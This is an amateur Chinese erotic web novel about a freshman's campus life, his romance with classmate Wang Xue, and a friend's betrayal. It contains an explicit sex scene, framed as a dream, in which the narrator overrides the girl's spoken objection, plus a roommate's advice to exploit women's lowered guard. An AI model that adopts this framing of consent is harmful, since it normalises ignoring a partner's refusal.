图片载入中

大学里还能干什么未删节全本

特大字】 【大字】 【中字】 【小字

目录:

第一章入学

第二章军训

第三章观念

第四章约会

第五章柔雪

第六章转折

第七章师姐

第八章

第九章

第十章

第十一章

***********************************

作者语:首先感谢您能够看完我这冗长的、臭裹脚布的声明,虽然我写的东西也许更臭,更让您恶心,让您厌恶,甚至让您我产生问候我亲属的欲望,但是不管怎么说,我希望你能够理解我在深夜两点还在打字,就不希望深夜两点看到去头断尾的同样内容的文章,而作者的名字已经换成了“xxx帅男孩”,因为我不帅,而且我自私,所以宁愿让伟大的读者们恶心,也不想自己恶心。

在网上看了很多的文章,各位老大的构思和文笔都让小弟羡慕不已,也让小弟受益匪浅,网上经典的文章如此之多,以至于想要找到一个可以下笔的空间,发泄一下自己的想法都显得那么的难,让我再次抱怨中国人怎么这么多,中国人怎么这么聪明。不过现在对校园类的作品比较感兴趣,所以小弟斗胆打算在这个领域yy一下,如果能让各位看官也能满足,那就是我最大的成功,如果写得太差,也请您口下积德,毕竟小弟是个票友而已。好,罗嗦了这么多,估计会被骂死了,正文马上就开始……

***********************************

第一章入学

窒息,空气仿佛凝聚成了压缩饼干般的,要吞咽下去是如此的困难,这就是南方?这里的人是怎么活下来的?以后四年我就要在这里过了?我一边诅咒着老天爷的安排,一边拖着沉重的行李被拥挤的人流推出了车站。

自从20几天前,拿到了大学的录取通知书,我就开始全方位的研究这个南方的省会城市和那所学校。

古城的历史是如此悠久,文化气息及其浓重,然而在近代中国的那场战争却孕育了无数的革命者,也许正是这种革命精神的延续,这里的民风彪悍,思想敢为天下先,很多突破性的理论诞生在这里,很多的明星也从这里诞生。

然而千算完算,我还是忽视了南北气候的差异是如此之大,刚刚从火车上下来,低低的气压,潮湿的空气,就像巨人的拳头一样重击了我,将我原本期待兴奋的心情也不由得一窒。

出了火车站,却惊奇的发现在拥挤的广场上,人群东一堆,西一堆的分成了几个不同的区域,而每个区域最显着的就是几辆大巴车以及汽车旁边巨大的条幅“热烈欢迎xxxx大学新生报到”,张望了一下,发现我们学校的条幅还是很醒目的,看来进入211工程的学校果然名不虚传啊,走上前去,验证录取通知书,上车找个座位坐下,等待车启动,一路颠簸,到达学校。

陌生和好奇的感觉充斥着我的全部感官系统,毕竟是第一次离开家乡那个小城,头一次看到如此繁华的街道,如此庞大的校园(从校门坐车到宿舍区就用了30分钟,当然车速比较慢),如此多形形色色的人,然而最新奇的却是--怎么这么多人都是家长陪同来报到的??

我的家乡是中国北方的一个小城,父母都是知识分子,从小就向我不断灌输万般皆下品唯有读书高的理论,因此在高中乃至以前的阶段,我可以说是埋头苦读了,但可能是北方人天性豪迈的个性,我在高中的时候,也是各项活动的积极分子,不论是学马学毛,还是篮球足球,又或是文艺晚会等,都可以看到我的身影。

尤其是我的篮球水平,在我们学校还是小有名气的,184cm的身高,魁梧的身材,打中锋都绰绰有余了,可是我却喜欢打后卫,因为这样才有掌控比赛的感觉,没办法,谁让咱是男人呢,出生就是为了征服和控制。

这次上学,虽然是第一次远行,可是我没有让家里人来送,都被管了这么多年,终于有机会哪能放过呢!于是单身上路,而且在路上还认识了几个朋友,本以为大家也都差不多,谁知道……,我们国家的小皇帝也太多了!

交钱,注册,一通乱忙之后,宿舍里面几个家伙已经熟悉了起来。

我是老3,其他的人分别是老大张锋,东北老乡,和我一样,身高只有169cm,行李基本上都是书,看样子是个文学青年。

老二李华,江苏人,个子不高,看上去很客气,我肯定是被电视洗了脑,老觉得这个人像上海人一样,怎么说来着,“小男人”。

老幺是钱昀,广东人,我见过这么多姓钱的,只有他最符合了,刚刚进来就狂叫宿舍环境差,然后把笔记本电脑拿出来到处找网线,当然最后他要失望了,害的我们哥三个又羡慕又鄙视的。

第二章军训

奶奶个熊,老子不爽,极度不爽。为什么?还不是我们那个狗屁辅导员,竟然挑了一个小姑娘作班长,有没有搞错,就算她长的水嫩点,但我高中时候历届班长,团委干事都是白混的阿,辅导员,我怀疑你是用下半身选的吧。

生气归生气,说起来选王雪作班长,我还是相对满意的,在我们班这个贫瘠的沙漠中,有三棵小草和一朵小花,不选她选谁呢,难道让其他三颗小草每日恐吓我们?

上帝保佑,我是近视眼,在她们盯着我看的时候,我还可以把眼睛摘掉。

王雪估计已经成了我们班每个宿舍卧谈会的主角了,她的眉毛像弯月,她的脸蛋像苹果,她就是我们的阿拉木汗啊。

其实,王雪算不上漂亮,163的身高在北方很少见(太矮了),苗条的身段,纤细的腰肢加上雪白娇嫩的皮肤让人在后面有无穷的遐思,看上去就想去抓一把,可是在正面一看到那飞机场就觉得泄气了。

此女还有一个杀手锏,一嘴吴侬软语,而且不知道是不是苏州人是不是都这样的,她说话的时候,细细的凤眼会向你这边不断的扫来扫去,看到你心里莫名的一动,也就是在这招之下,我们的班费顺利地收齐了。

紧张的军训不因为新生的恐惧而推迟,也不会为了满足教官折磨我们的变态欲望而提前,就像一个经验丰富的老司机总要不紧不慢的驶进公车站,3天后,军训也如期开始了。

参加过军训的人都知道什么最难熬,站军姿,记得电影“大阅兵”中,军人可以一次站6个小时而不休息,但是对于我们这一代人来说,1个小时已经是极限了。

秋老虎可不是纸老虎,几十分钟下来,汗水就顺着鼻尖,脸颊,脖子滑落,我的后背已经彻底的湿透了,连裤子都觉得有点粘在身上的感觉,不过我还是尽自己最大的努力保持着漂亮的姿势,要做就一定要做最好的这是我的信念。

一天的军训下来,腰酸背痛腿抽筋阿,就盼着教官赶紧解散去补钙,没相到这是时候教官发话了:“作为第一天,大家做的都很不错,几个女同学能在35度的高温下坚持下来真的是很不容易。”话一出口,大家的目光哗的一声全部看向王雪(不看她看谁呢,那三棵草连命名的权力还没有呢)。

王雪兴奋的小脸粉红粉红的,配在她无锡瓷娃娃般雪白皮肤上,真是好可爱啊,看得我真想去咬一口。

我直着眼睛盯着王大班长,她好像还不习惯这种注目礼,在大家的目光几次扫射之下,就低下头去了,要是韦老前辈在这里,肯定要说“辣块儿妈妈,这小娘皮可真水灵啊”。

“但是我们班有一个人,全天自始至终,所有的动作都是最标准的,他就是浮图。”教官此言一出,全班的目光一个急转弯又望向了我,王雪也抬起头看着我,而我却根本没有听到教官再说什么,我的全部精神还在王雪的身上,还在她那娇小的身材,可爱的笑容上,突然看到王雪用她那媚死人的凤眼看着我的时候,两个人的目光一霎那碰撞在一起,旋即分开,不一秒,又胶结在一起。

这个时候,不知道是谁发出了怪声,“浮图,看什么呢啊?”然后是30多人一起哄然大笑,就连脸嘣了一天的黑脸教官,也不自觉地露出了笑容,更别说附近训练的别的班的同学了,都一个个的伸头张望过来。

而王雪娇羞的一跺脚,更是引发了持续的笑弹,大家刚度过白色恐怖的高中时代,谁不期待着一场轰轰烈烈的爱情呢?

就这样,军训转眼过去了,我越来越得到教官乃至系主任的器重,在我和王雪的配合下,我们班赢得了队列比赛的第一名,而我和王雪在别人眼里也俨然已是一对,只是我和王雪都没有点破而已。

在军训结束之前,教官和辅导员把我们叫了过去,告诉我们,经过分析和研究,决定正式让我担任班长的职务,而小雪改为班支书,让我们把军训的好传统延续下去,让我们班级更上一层楼。

(tnnd,又是研究决定,什么时候才有民主阿?)离开辅导员,我和小雪走在校园的林荫道上,我说:“怎么不说话,是不是在恨我抢走了你的班长宝座啊?”“什么啊,讨厌。”小雪胖乎乎的小拳头就敲在我的后背上,一点都不痛,软绵绵的好象按摩阿。

我一把抓住她的手,牵着她跑起来,小雪一边抱怨,“干什么啊,慢点。”哦对了,小雪今天穿的是一双黑色的凉鞋,很简单的款式,几条细丝带缠绕起来,跟大概有4厘米吧,将美丽的小腿的线条塑造了出来,一条牛仔短裙,不着丝袜,美丽的小腿在脱离凉鞋后,是那么笔直,那么纤细,然而到了膝盖,却鬼斧神工的变得丰满起来,对比起来如此明显和诱人,上面配上一件浅黄的t-shirt。

稍稍运动的她,小小的胸部随着气息的急促而上下的起伏,仿佛在向我招手阿,管不了那么多了,忍了这么久,这小姑娘总是没给我单独相处的机会。

大学的校园,是恋爱的天堂,加上我们学校种植了很多树木,于是夜一深,西面的小树林就成了情人角,我和小雪来到一颗大树旁边停了下了,小雪气喘吁吁的说:“干什么啊?害的我脚都要断了。”“给你表演个节目。”我用力晃了一下树,几片树叶纷纷飘落,我摆出职业拳手的pose,迅速的几拳,仿佛为了炫耀我的拳速一样,将树叶全部抓到手中。

“什么啊,你以为你是泰森啊!”小雪嗤的一笑,用眼睛瞟了我一眼(杀手锏啊)。

“你猜有几片树叶?”

“5片吧。”

“不对。”

“肯定是,我刚才明明看到。”

“那你看看啊。”小雪的小手抓住我的手打开来吃了一惊,“只有一片?”说着不相信的拿了起来,看了一看脸立刻红了,因为那不是树叶,而是一个心型的纸,上面写着:“秋天的你轻轻飘过来到我身边,而我何时才能走进你的心房。”

“对,只有一片,因为你是我的唯一。”我用双手托起小雪的下颚,让她仰望着我,她仿佛看透了我的心意,缓缓的闭上眼睛,眼睫毛微微颤动,连带着嘴唇微张,唿吸也重了起来。

如此诱惑,佛祖在世也受不了,我的嘴唇温柔的触到了小雪的嘴唇,感觉到小雪身体明显的一缩,但是立刻又勇敢地向前。

我双手用力地将她拉进我的怀抱,嘴唇重重的接触在一起,多次嘴唇的交战后,我的舌头也不安分起来,轻轻的叩开小雪的双唇,点开她的牙齿,突破进去后,立刻和小雪的香舌纠缠起来,而小雪此时也不再那么羞涩,舌头顽皮起来,犹如两条戏水的小鱼,欢快的游来游去,让我们深深的沉醉其中。

仿佛过了几个世纪,我们醒了过来,小雪无力的瘫软在我的怀中,脸上幸福的表情透露了她的想法,我不禁将她再次抱紧,让她的头靠在我的胸前,抚弄着她的柔发,将混合着洗发水和少女体香的气体大口大口的吸进我的胸腔。

第三章观念

***********************************

昨天在聊天的时候正好碰到一个大学生,无意中碰到了自己的怀旧情结,于是就有了这篇《大学里还能干什么》,由于本人文笔实在一般,怕写出来的激情戏让各位读者作呕吐,所以这方面写得比较少,不过看样子各位大大还是喜欢口味重一些,加上大家的回复支持,今天就写了两章,补充了色的部分,看了不要骂我啊。自己写了才知道,就这6,7k字,就用了差不多6,7个小时,不过我既然写了,就会尽量地坚持下去,由于我平时工作很忙,估计每周只能在周日发4-5章左右,(而且最近还要看球啊,昨天的意大利队比赛由于写文都只看了一半)请各位读者大人见谅。

***********************************

生活就是如此简单,尤其在大学里,只要你不在乎背上堕落分子的招牌,不在乎老师点名时声色俱厉的暴吼“某某某,哪里去了”,不在乎每学期上缴一笔不菲的补考费,那么你将拥有全部的时间供自己支配,而空间之门也向你打开,让你步入一个异次元般的空间,一个完全颠覆你以往所有观念的世界。

热恋的我已经完全陷入了小雪的温柔陷阱,从小雪每日出现在我们宿舍的频度和宿舍兄弟们欲除之而后快的眼神中,我得到了极大的满足,但随之一个我意想不到的问题出现了--每晚的卧谈会竟然成了公审大会。这令人烦恼的好运往往在我吻别小雪回到宿舍后,就降临在我身上……“怎么样,今天有没有得手,我昨天说的那招有没有用?”猴急的钱串子还不等我躺到床上,就率先发难。

“就是就是,王雪的名字起的好啊,雪白雪白的,我们那边皮肤这么好的也少啊!”李华也不忘记推波助澜。

最后就是我们老大锋哥的总结陈词“福兮祸所依啊”,然后就退居幕后了。

“你们这些色狼。”我只有如此发表建议了,然而钱昀开始穷追猛打。

“我跟你说,根据我多年的经验观察,王雪可还是处女啊,你要不下手,到时候被别人追走了,可不要后悔啊。”钱昀这小子来自广东,可能那边的风气比较开放,据他自己承认,现在已经是5人斩了,而且计划要在大学里完成百人计划,我们都以此为笑谈,毕竟在我家那里,高中时期就有经验的,多数都是出来混的,大多数人最多也就是偷偷打个kiss,真枪实弹还是我们的梦想。

不过现在这个社会里,要说谁没有看过a篇,没有看过情色小说那也是笑话了,因此大家对这个也并不陌生,毫不避讳。

对待这种情况,我往往都是避而不谈或者顾左右而前他转移话题,他们到也往往都放我一马,然后就开始天南海北的胡扯一通。然而今天却有一点点不同。那是因为……

像往常一样,今天我在情人角老地方等小雪出现,同时回忆着昨天钱串子的话:“到了夜晚,女人的防卫的心理可是最弱的,你又是她的白马王子,到时候只要在接吻的时候略施小技,你就可以大踏步的迈进共产主义了,嘿嘿……”这小子,简直就是教父啊,成天对我们三个性爱白痴传播淫秽思想,不过细想起来,还真有那么点道理,看来泡妞无止境啊,竟然还要研究心理学。

和小雪也交往这么久了,是不是该升级一下了,犒劳一下自己每日辛苦的手啊,小雪的胳膊都那么滑嫩,好像麦当劳的冰淇淋,不知道她的乳房怎么样?

“不许动。”一双小手掩到了我的眼前,同时在耳边响起了她濡软的声音。我的心剧烈的跳动起来,刚刚在胡思乱想没想到被小雪突然袭击,还真是有点吓人。我用手轻轻的向后环住她那19寸的细腰,“我投降,请组织宽大。”

“嘻嘻……”边笑着小雪把手放了下来,然后整个身体靠在我后背上,“想什么,我过来都没有看到。”

“想你啊。”漂亮的答案显然让小雪很受用,但还是调皮的对着我的后背轻轻吻了一下,将热气呵到我的身体上,“真的啊,你真好。”一种异样的感觉,仿佛电流直击我的中枢神经,顺着我的嵴椎一直延续到脖子,在脑中一下子爆炸开来,然后仿佛是开了壳一样,整个精神都仿佛一振,身上的毛孔都清醒过来,让我清晰的感觉到后背上一种未有过的感觉,两团柔软的肉团被主人压倒我的身上,犹如电池正负极接通后我的马达立刻发动了,能量到达下身后不再传递,却在那里不断积蓄着,令小弟弟立刻扯起了风帆。

我一下子转过身体,猛地抱住小雪,嘴巴对嘴巴,开始法式深吻,同时双手在她后背上开始上下求索。

小雪虽然被我突然的热情下了一跳,不过还是立刻响应了起来,经过我每天的特训,小雪进步神速,现在已经完全找不到生涩的感觉。

在我舌尖沿着她牙龈与嘴唇之间的空隙中来回徘徊的时候,小雪的舌头却将我的舌头一下子顶了出来,然后香舌开始追击溃败的逃兵,马上就占领了我的阵地。

小巧的舌头像是一个好奇的旅游者,先是轻轻的,用舌尖在我的上唇划过,带来一阵酥麻的感觉,然后喜新厌旧的冲入我的口腔,尽力向前伸展,连嘴唇都已经接触到了我的牙齿。

这是小雪最热情的一次,我当然非常喜欢,一边用口腔将她的舌头深深的吸韫着,一边也用舌尖去触碰她的舌头,感受到她舌头上的味蕾,那种口感真的像是在吃脆皮的雪糕,初一接触是硬硬的粗糙的口感,然而奇迹的变成一种滑得不不能再滑,腻的不能再腻的顺爽感觉,水样的女人是谁说的,古人诚不欺我。

小雪突然轻咬了我嘴巴一下,猛地把嘴巴离开,一只手抚在胸口开始大口大口的喘气,喘匀气之后才说:“你要憋死我啊?!”我趁这个功夫,仔细打量了一番小雪,从穿着上就可以看出她真的很爱我,一定是特意打扮了一番才出来的。

一件黑色的无扣外衣,遮掩着里面平胸的暗绿色的衣服,露出明皓的脖子下面一片雪白的皮肤,仿佛还对这不满意般,下面是一条黑色的短裙,离膝盖应该有10厘米左右,小巧的双脚上是一双旅游鞋,白色的皮肤配上一身黑色,强烈的反差让人看上去又诱惑又有活力。

“还不是你太诱人了,害得我想把你吃下去。”“不给你吃,大色狼。”说归说,小雪还是乖乖的靠在我的身上,我把手搭在小雪的肩膀上,虽然这件黑色的小衣柔软的手感很好,可是哪有小雪的皮肤好啊,于是在我强烈的要求下,小雪把外衣脱了下来。

“哦……”完全是惊艳,原以为是一件娃娃衫,没想到真看到才发现竟然是吊带装,不,应该说是无带状,胸部以上完全是真空的,虽然小雪并不丰满,可是这样的打扮却凸显出她那玲珑有致的身材。

更爽的是,当你的手从小臂开始顺胳膊而上,然后到肩膀,到后背,再到另外一边的胳膊,那种完全畅通无阻的感觉,会让你产生一种错觉,以为是一位全裸的美女躺在你的怀中。

不对啊,真是完全畅通无阻啊,怎么连胸罩的带子都没有?难道说……好像是为了证明我的猜测,小雪一边说:“看什么看?”一边却将胸部铤的更高来考验我的忍耐力,隐约中看到两点凸起的部分。

难怪刚才感觉那么爽,原来这小丫头没有穿胸衣啊。

第四章约会

就这样,我搂着小雪坐在地上聊天,聊天的内容已经完全不记得了,只知道我的那只手锲而不舍的不断下移,在和小雪多次进退之后,我的右手终于从衣服上面摸了进去攀上圣女峰。

我的手开始发抖,这可是我第一次抚摸女孩子的胸部啊,虽然小雪不丰满,可是那形状在你手心中,尤其是还有颗逐渐突起的乳头,碰到你手心就好像一支蚯蚓弯弯曲曲的钻到你的心里面。

小雪在我温柔的抚摸下,仿佛骨头都被抽走了一般,头靠在我的肩膀上,双颊绯红,鼻翼在不断急促的唿吸的带动下变大变小,双手好像无处可放,只知道紧紧地抓住我的衣服。

不一会儿我的手开始从正面突入,从小雪的衣摆把手放了进去,这个方向的感觉又不一样,先是感受到少女柔软却无肉的腰肢,没有一丝的赘肉,让我的手几乎就要停留在小雪的肚子上了,随后接触到了小雪的乳房下缘,虽然小雪的胸部看上去不大,可摸起来却好像也有很多肉一样,乳房的范围非常大。

当我用手指甲沿着乳房的轮廓轻轻的画着圈的时候,小雪身体一颤,鼻子发出轻不可闻的一声“嗯”,得到了这种鼓励,我的手更是顺流而上,大拇指和食指抓到了已经起立的乳头。

乳头的感觉又不同,小雪的乳头不大,在我抚弄的时候也仅仅是抬起头来的感觉,不过当两个指头开始揉碾它的时候,在我粗糙的手指的爱抚下(打篮球的原因),小雪连身体都开始不自觉的扭动起来,一双雪白的小腿时而向左,时而向右,鼻音也开始不断加重,连我的脖子都可以明显的感受到她唿出的热气。

小弟弟已经起立很久了,集聚的热力都要爆炸了,我牵着小雪的手摸向我的分身,小雪像是被电了一样身体弹了起来,“别这样……呜…………”不等她说话,我已经用嘴巴堵住了她的嘴巴,几秒钟后,小雪又融化在我的热力中。

我把小雪的无带装直接拉了下来,月光下,呈现出一幅完美的身材,粉红的乳头在月光的照耀下,显出一种暗红色的诱惑,而雪白的身体又与月光相辉映,我把小雪放到在地上,嘴巴直接就吻向乳头,没有过渡的爱抚,这种直接的刺激让小雪的身子一弓,啊的一声几乎叫了出来。

随后舌尖就像年轮一样,在小雪的乳房上划着圈,当要到达顶峰的时候,却又退却,重新从山底重新开始,经过几次之后,小雪耐不住地一挺身,把乳头送入我的口中,我立刻含在嘴中,用力的深深吸运,用舌尖去点击,用牙齿的缝隙去摩擦,这一切都让小雪更加忘记身在何处,而也让我无法忍受了。

我把拉链拉开,把他拿了出来,让小雪的手将他握住,小雪这时候已经完全沉醉在身体一波一波的快感中,立刻将他紧紧握住。

好舒服啊,温热的小手带给我极大的冲击,而耳边女孩的轻声呢喃更是让我不知身在何处,虽然嘴巴继续在亲吻小雪的乳房、嘴巴等,可是手已经不知不觉地摸向下面。

伸手一探,手已经沿着大腿伸到了神秘的地方,回忆着以前看过的文章和电影,中指已经直捣黄龙,而正如所有作品描述的一样,小雪已经泛滥了,棉织的内裤给人的粗糙手感在小雪爱液的软化下,是一种形容不出的手感和兴奋。

绕开内裤,我的手指开始轻轻的抚摸小雪的下体,那张小嘴微微张开,一种潮热的气体紧紧裹住我的手指,当手指不经意的抚摸到阴蒂的时候,小雪的手突然一紧,小弟弟被抓的突然一跳一跳,我简直就要崩溃了。

我几乎是粗暴的用双手将小雪的内裤脱了下来,自然也把自己的裤子也褪到一半,这时候看到小雪脸上兴奋的神态和享受的表情,一丝疑问却从心底升起,不是说女人的第一次很痛苦的么?

然而,此时已经没有时间多想,扶起小雪的双腿,开始用龟头轻触小雪的下体,由于爱液很多,龟头很顺利的进去了一点点,想起各位大大前辈的教导,决定长痛不如短痛,上身孚了下去,吻了一下小雪,然后温柔的说:“雪儿,你忍一下,第一次会有点痛,我爱你……”小雪只说了声:“我也爱你。”就不作声了。

在得到允许之后,我一挺身,下体已经进去一半,再次用力,它已经顺利的到达了底部,小雪“哦”的一声,重重的吐出一口气,而我已经完全的忘记了所有。

难怪每个男人都喜欢,做爱的滋味原来是如此的舒服,两人的性器紧紧地爱在一起,而鸡巴却被一圈又热又滑的空间包围着,仔细地感受,就可以感觉到小雪阴道内壁也在不停的蠕动。

一次入底后,第二次第三次随之而来,在我强劲的一抽一插之下,我和小雪的爱液不断被带了出来,白色的液体挂在我和小雪的体毛上,而被带的掀起的红色肉壁,也像她的主人一样不断宣告着她的喜悦。

小雪此时已经完全忘记身在何处,口中发出让我诧异的声音:“嗯……好舒服……”“你真棒,我爱你……”不管怎么说,在这种情形下,每个男人都会彻底疯狂的,我把小雪上身拉了起来,双手大力的抚弄着小雪的胸部,让它在我手下变换着一个又一个淫荡的造型。

“就是这样,再来……啊……”随着我一次沉重的撞击,小雪几乎是喊了出来,双手紧紧的抱住我,身体不停的轻颤着,同时也从阴道传来一阵阵的颤动和收缩。

小弟弟受到了更大的压力,在紧紧地包围中,我再也控制不住,下身用力一挺,也紧抱住小雪,一阵抽搐,将积蓄了18年的精液送入小雪的身体……小雪被滚烫的精液冲击后,竟然用牙齿咬住我的肩膀,压抑住自己的声音,我却被咬得大叫了一声……“啊……”猛地一激灵,我坐了起来,仿佛中还要找小雪,可是一看周围,这不是我的宿舍么,低头一看,内裤已经被精液打湿了,原来是南柯一梦啊。

第五章柔雪

“呆子,干什么呢?”我胡乱擦了一下汗,拿起手机看了起来。

不知从什么时候起,呆子这个绰号就成了小雪对我的专用绰号,小雪对我的监控也严格了起来,仿佛是我的监护人一样,不过话说回来,有这样的监护人也不错。

“浮图,干什么呢,快点。”王东在那边大声地招唿我。

“我在二舍球场打球,过来看帅哥吧。”回完短信息,又小跑进球场。

秋天是个收获的季节,当农人在忙碌的时候,我们这群天之骄子却在尽情享受着秋风徐来,乘兴运动的乐趣,真有点成仙得道的意味了。

王东是我的同学,来自甘肃,个子只比我略矮一点,有182cm,高瘦的身材,脸上总是带着若有若无的笑容,这得益于王东的脸型,国字脸,如刀削般的轮廓,组合上深陷的眼窝,凸显出高耸的鼻梁,有一种中亚人的味道,所以我们都叫他匈奴人。

由于大家都热爱篮球,开学没多久,我们就找了一些同是一年级的新生组建了自己的球队,平时在一起打球锻炼身体,而我和王东,则是这支风云球队的绝对主力。

王东是大前锋,不知真的是匈奴人的后代又或是从小吃牛羊肉长大的原因,此子体力充沛,弹跳力奇强,在每场比赛中,从来都是突前闯后,通过不断的变换位置,以及大量的奔跑摆脱对方,往往前一秒对方还在跟随防守,后一秒钟王东已经一个急停摆脱了对方的防守来到篮下,随后的招牌动作就是大力扣篮,虽然我们队员之间都已经习惯了,但是每次对手脸上仿佛被打了一巴掌的表情,却始终是我们打球的一大乐趣。

我的位置是组织后卫,负责的是全队的攻防组织,面对平均比我低十公分的同位置对手,心情好的时候就模仿nba上的明星约翰逊的动作,通过不断的跨下运球,用眼神和假动作迷惑对手,在对方疏忽的一刹那,在无法预料的角度,球已经准确传递到了队友的手中,而心情差的时候,强行突破,带球上篮是我的常用动作,利用对方盯人后卫和中锋换位的瞬间漏洞,我已经在他们的头上入篮了。

而我最喜欢的动作,则是在无法打开局面的时候,在三分线的水平角度处,随着球与球网摩擦所产生的唰的一声之后,往往是我用手指天后缓缓转向观众的潇洒姿势和场边场外女生的尖叫声。

“帅哥,美女来看你了。”女同学a一边笑着一边拉扯着旁边的小雪,看到小雪来了,我随口说了一句“先休息一会儿”,一个冲刺跑到场边。

自从有了上次的春梦,每次面对小雪的时候,我的眼睛总是肆意地落到小雪那只堪一握的细腰,丰腴的大腿和向上微翘的屁股上,只有扫描过一次后,我的目光才会重新来定位到小雪的脸庞上。

炎热的天气和同学的取笑,让一朵红云飞上小雪的脸庞,半响才听到蚊子一样的声音:“我去图书馆,顺便来看看你。”小雪就是这个样子,虽然和我在一起的时候那么可爱大方,可是一旦有外人在场,就恢复了害羞的本色。

我可不管这些,一把将小雪拉到身边,大咧咧的把手放到小雪的肩膀上,让她紧紧地靠着我的身体,“小雪还有事情,你(女同学a)是去看书,还是留在这里看人。”说着顺手指向王东,因为我们都看得出来,她喜欢王东,虽然被我一下子拆穿,但却马上反击,“对啊,来看你们风云唯一的帅哥啊!”不愧是恐龙,够霸气,让我一时也无话可说。

还是小雪体贴我,对她说,“那你还不去?小心被人抢跑了。”“那我不当电灯泡了。”说完,女同学a走向王东,王东仿佛没有发现,转过身去继续练球,而我却分明感受到了王东转身前可以杀人的目光。

“别靠这么紧,我可是刚换的衣服。”小雪抱怨着。

小雪很喜欢绿色,什么嫩绿,翠绿,墨绿,鹅黄绿……,所以小雪的绿颜色衣服有一大堆,而今天穿的就是一件淡绿色的衬衣,领子,下摆,袖口都配上了清爽的蕾丝花边,下面是雪白的纱质的长裙,两种颜色组合在一起,完全衬托出小雪那种南方女孩子那种水一样的感觉。

温柔贤惠,体贴可人,轻灵飘逸,怎么形容我的小雪都不不过分,可恨的是我的语文成绩,让我完全不知道怎么样才能形容出这种感觉。

“就嫌弃我了啊,老婆。”我不但没有放松,反而将她拉得更近。

“什么啊,别乱说。”小雪还是这么传统,连口头的便宜都不让我占,即使我已经多次努力想要再现梦中的情形,可是小雪却紧守的自己的尺度,决不让我接触到多一分的肌肤,每次都会以我们还小,现在的主要任务还是学习,不能这样为由让我三垒的期待一再落空。

“今天可是周末啊,晚上不用看书了吧?”小雪最让我害怕的一点,就是狂热的学习爱好,除了上课时一定会在第一排出现,每天晚上是雷打不动的自习时间,更可怕的是每次都希望我去陪她一起去,虽然我每次都以各种理由逃脱了,但还是让我心有余悸啊!!

“好啊,晚上去哪里啊?”“到时候就知道了,走,我们去喝杯可乐去,你渴了吧?”

“什么啊,是你自己要喝才对吧?”

“嗯?呵呵,……”

路上,我不断的和碰到朋友们打着招唿,而小雪环着我的手,乖巧的样子也让所有的哥们羡慕不已。

这几个月来,我在学校里面也是小有名气了,篮球打得好,喜欢交朋友,让我不但在一年级,就算是高年级,形形色色的人也认识了不少,而直接的后果就是,能逃的课我都不会去上,而是在打球,看书,喝酒,尽情的享受属于自己的时间。

南方初秋的夜,一改白日里骄阳似火的火爆性格,细雨过后,那空气中弥漫着的水气展现出的是另外一种味道,是缠绵,亦是清冷。

“慢一点。”“有车,哎呀,你小心啊。”昨天刚刚买了一台自行车,于是就决定今晚带着小雪去江边玩一下,而小雪似乎也被这惊喜所激动,一路上,不断在耳边响起银铃般的声音,用力环住我腰的莲藕,都让我更加卖力的蹬着脚踏车,这一路上的欢声笑语让我分外珍惜和小雪在一起的每分每秒。

奋力地蹬上又一段斜坡,终于来到了江边,可真是一个艰巨的任务,虽然小雪很轻,可是这个城市依山而建,一路上的上上下下,使得我这个一向以体力自诩的人都气喘吁吁了。

“出了这么多汗啊。”小雪爱惜的用手绢给我擦去脸上的汗水后,用手绢开始给我不断的扇风。

“别扇了,小宫女,汗都到你身上了”一番肉麻的互相关照后,我和小雪一边推着车子一边在江堤的漫漫的散步,如此浪漫的情景,悠闲的心境,让我已经开始陶醉了,可是小雪下一句话,立刻吓坏了我。

“你看,月亮很圆哦”“是啊,可能快要到十五了吧”“水里面那个好像更圆啊。”电视中的男主角要跳到水中去捞月亮才能够博得女主角的关心的,如果让我去广场喷泉去捞我也是可以胜任的,可是如果到这水深十几米的江中去,我这只旱鸭子还是要先学习几年的游泳才行啊。

“你在害怕什么啊,是不是以为我要你学猴子水中捞月吧。”“嘿啊、嘿啊……”我不断的点头,讨好的看着小美女。

“如果我真的想要呢?”“不是真的要我跳吧,如果你让我跳,我就跳。”我愣了一下才说。

“什么啊,一点诚意都没有。”看到我还犹豫了一下,老婆好像生气了。

“乖,亲爱的,别生气啊,我留下这残躯也是为了更好的报效党国啊,是不是?”

“那我现在就跳了,你看着啊。”

“你看好多人看着我们呢。”

“别闹了,不然我要生气了啊。”

“你看,这里有一只猴子啊,蹦蹦跳跳的,你说可笑不可笑?”

“好了,亲爱的,这么好的夜色,我们不要吵了好不好。”百般费力后,才将老婆哄好了,让我不由得感叹女人真是奇怪,总是在这些无关紧要的事情上发脾气,不过没办法,谁让我喜欢小雪呢,忍无可忍,还需再忍。

第六章转折

桃花庵里种桃树,又拿桃花换酒钱。一转眼,大一的上半学期就过去了,虽是江南三月天,春光却仿佛不是为我准备的。人生如梦,这个学期过去了,带来了两件对我影响很大的事情,而这个学期中,也有一件事情彻底的改变了我的一生。

一件事情是第一学期我的考试成绩很不好,基本上每门都是60分左右,而我也知道,之所以能过,不过是老师给我面子罢了。

而第二件事情的给我的打击,更远远的胜于学业上的挫折。

“浮图,走,出去转转。”“转什么啊,没劲。”“走,别唧唧歪歪的。”老大锋哥神秘的叫我到操场上,却不说为什么,不过我还是和老大出去。

“我说浮图,你知不知道有人暗地里整你啊?”“别逗了,我也没得罪什么人。”这点我很自信,我一向都很别人相处得很好,不但是朋友,就是老师,辅导员,我相信也是面面俱到的。

“哥们关系这么好,我告诉你一声,不管你相不相信,反正自己提防着点,王东这小子不地道,我上次看到他在向系主任吹风,说学生干部不但要管理好别人,对自己也要管理好,这不是冲着你么。”“不可能,王东也是我的好兄弟,不能背地坑我的。”“话我就说到这,我不会挑拨你们的关系,你自己看着办吧。”

“行,肯定是误会了,别说这事了,我们去喝酒。”那天的事情,我一直没当回事,可是没过多久,系主任就找我去谈话,说我的成绩达不到系里面的要求,让我把主要的精力放在学习上,暂时辞掉班长的工作,随后,在系主任的授意下,班里组织了“民主选举”,王东当上了班长,而小雪继续连任了团支书。

这两件事情,给了我很大的触动,我一向认为最好的兄弟,却在背后捅了我一刀,如果是我的敌人,我都可以很坦然地面对,可王东可以一面暗地里整我,一面还装做不知道发生什么事情来安慰我,让我对人性感到彻底的失望,难道一个小小的班长的位置,可以把我们半年的兄弟情都抛却么?

仿佛看开了很多,我不再那么的开放自己,而是每天自己一个人躺在床上,一包烟,一本尼采的书,可以让我从早看到晚,以前的朋友也不再联络,就连宿舍的兄弟都很少理会。

小雪开始的时候还来不断的开解我,劝慰我,可是她总是以为我是为了失去了班长的位置而颓废,她劝得越多,我就越情绪低落,难道连爱人都不了解我?

我是为了这些事情堕落的人么?一个半月后,小雪来得也越来越少,终于在一次争吵之后,我们分手了。

